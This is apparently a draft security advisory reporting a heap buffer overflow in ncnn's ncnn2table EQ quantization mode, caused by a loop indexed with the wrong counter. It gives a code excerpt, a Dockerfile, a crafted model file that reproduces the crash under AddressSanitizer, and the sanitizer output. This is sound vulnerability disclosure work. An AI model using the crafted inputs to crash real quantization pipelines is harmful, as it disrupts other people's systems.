All advisories
Draft

Heap Buffer Overflow in EQ Calibration

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Buffer Overflow in EQ Calibration

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:1563 in QuantNet::quantize_EQ
Sanitizer verdict: heap-buffer-overflow

Summary

ncnn2table's EQ calibration mode indexes the per-input calibration vectors — pixel type, means, norms, shapes and file lists — with the weight-scale index instead of the input-blob index. Any model with more convolution output channels than network inputs (the normal case) makes the tool read past those one-element vectors and abort, killing the quantization job. The entry point is tools/quantize/ncnn2table invoked with method=eq, reached from main at tools/quantize/ncnn2table.cpp:2237.

Detail

main validates that listspaths, means, norms, shapes and type_to_pixels each contain exactly input_blob_count entries (checks at ncnn2table.cpp:2176-2196), so their length is fixed by the network's input count and by how many comma-separated mean=/norm=/shape=/pixel= groups the operator passed. In QuantNet::quantize_EQ the outer loop j walks weight_scale.w, one entry per convolution output channel, and the inner loop jj walks input_blob_count — but the body uses j:

// tools/quantize/ncnn2table.cpp:1533
        for (int j = 0; j < weight_scale.w; j++)
        {

// tools/quantize/ncnn2table.cpp:1557
                for (int jj = 0; jj < input_blob_count; jj++)
                {
                    ncnn::Mat in;

                    if (0 == file_type)
                    {
                        const int type_to_pixel = type_to_pixels[j];
                        const std::vector<float>& mean_vals = means[j];
                        const std::vector<float>& norm_vals = norms[j];

jj is declared and then never used as a subscript; every access in the block — type_to_pixels[j], means[j], norms[j], shapes[j], listspaths[j][i], and ex.input(input_blobs[j], in) — should be indexed by jj. The equivalent loops in the KL and ACIQ paths (ncnn2table.cpp:814 and :895) index correctly with the input counter, which confirms the intent. The same defect appears again at ncnn2table.cpp:1680 in the bottom-blob-scale search.

The PoC model has one input blob and Convolution conv 1 1 data out 0=2 1=1 5=0 6=6, i.e. num_output = 2, so weight_scale.w is 2 while type_to_pixels holds the single entry parsed from pixel=BGR (the 4-byte region ASan reports, allocated by parse_comma_pixel_type_list at ncnn2table.cpp:1989). The first iteration, j == 0, is in range and prints the expected conv w 0 line. On the second, j == 1, type_to_pixels[1] reads the 4 bytes immediately after the one-element vector and the tool aborts. Because std::vector::operator[] is unchecked, the following means[1], norms[1] and shapes[1] accesses would dereference out-of-bounds std::vector and Mat headers, so in a non-instrumented build the failure mode is a wild pointer read rather than a clean stop.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-in-eq-calibration && cd ncnn-poc-heap-buffer-overflow-in-eq-calibration

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=3
Convolution conv 1 1 data out 0=2 1=1 5=0 6=6
EOF

base64 -d > poc.bin <<'EOF'
AAAAAAAAgD8AAABAAABAQAAAgEAAAKBAAADAQA==
EOF

cat > pixel.ppm <<'EOF'
P6
1 1
255
xyz
EOF

cat > images.txt <<'EOF'
pixel.ppm
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table poc.param poc.bin images.txt out.table 'mean=[0,0,0]' 'norm=[1,1,1]' 'shape=[1,1,3]' pixel=BGR method=eq

AddressSanitizer output:

mean = [0.000000,0.000000,0.000000]
norm = [1.000000,1.000000,1.000000]
shape = [1,1,3]
pixel = BGR
thread = 24
method = eq
---------------------------------------
count the absmax 0.00% [ 0 / 1 ]
build histogram 0.00% [ 0 / 1 ]
conv                                     : max = 122.000000       threshold = 121.136230       scale = 1.048406       
search weight scale 0.00% [ 0 / 1 ] for 0 / 2 of 0 / 1
conv w 0  = 42.333332 -> 31.326666
search weight scale 0.00% [ 0 / 1 ] for 1 / 2 of 0 / 1
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000004b4 at pc 0x643c8cdb50b5 bp 0x7fffd804f6f0 sp 0x7fffd804f6e0
READ of size 4 at 0x5020000004b4 thread T0
    #0 0x643c8cdb50b4 in QuantNet::quantize_EQ() /ncnn/tools/quantize/ncnn2table.cpp:1563
    #1 0x643c8cdc8712 in main /ncnn/tools/quantize/ncnn2table.cpp:2237
    #2 0x7a7679c1c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x7a7679c1c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x643c8cd80be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

0x5020000004b4 is located 0 bytes after 4-byte region [0x5020000004b0,0x5020000004b4)
allocated by thread T0 here:
    #0 0x7a767a297548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x643c8ce03fb1 in std::__new_allocator<int>::allocate(unsigned long, void const*) (/ncnn/build/tools/quantize/ncnn2table+0x328fb1) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #2 0x643c8cdf142a in std::_Vector_base<int, std::allocator<int> >::_M_allocate(unsigned long) (/ncnn/build/tools/quantize/ncnn2table+0x31642a) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #3 0x643c8cdf65e1 in void std::vector<int, std::allocator<int> >::_M_realloc_insert<int>(__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > >, int&&) (/ncnn/build/tools/quantize/ncnn2table+0x31b5e1) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #4 0x643c8cded3b6 in void std::vector<int, std::allocator<int> >::emplace_back<int>(int&&) (/ncnn/build/tools/quantize/ncnn2table+0x3123b6) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #5 0x643c8cddeba9 in std::vector<int, std::allocator<int> >::push_back(int&&) (/ncnn/build/tools/quantize/ncnn2table+0x303ba9) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #6 0x643c8cdc5eab in parse_comma_pixel_type_list /ncnn/tools/quantize/ncnn2table.cpp:1989
    #7 0x643c8cdc7b1d in main /ncnn/tools/quantize/ncnn2table.cpp:2166
    #8 0x7a7679c1c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7a7679c1c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x643c8cd80be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/tools/quantize/ncnn2table.cpp:1563 in QuantNet::quantize_EQ()

Credit

Zheng Yu @ DepthFirst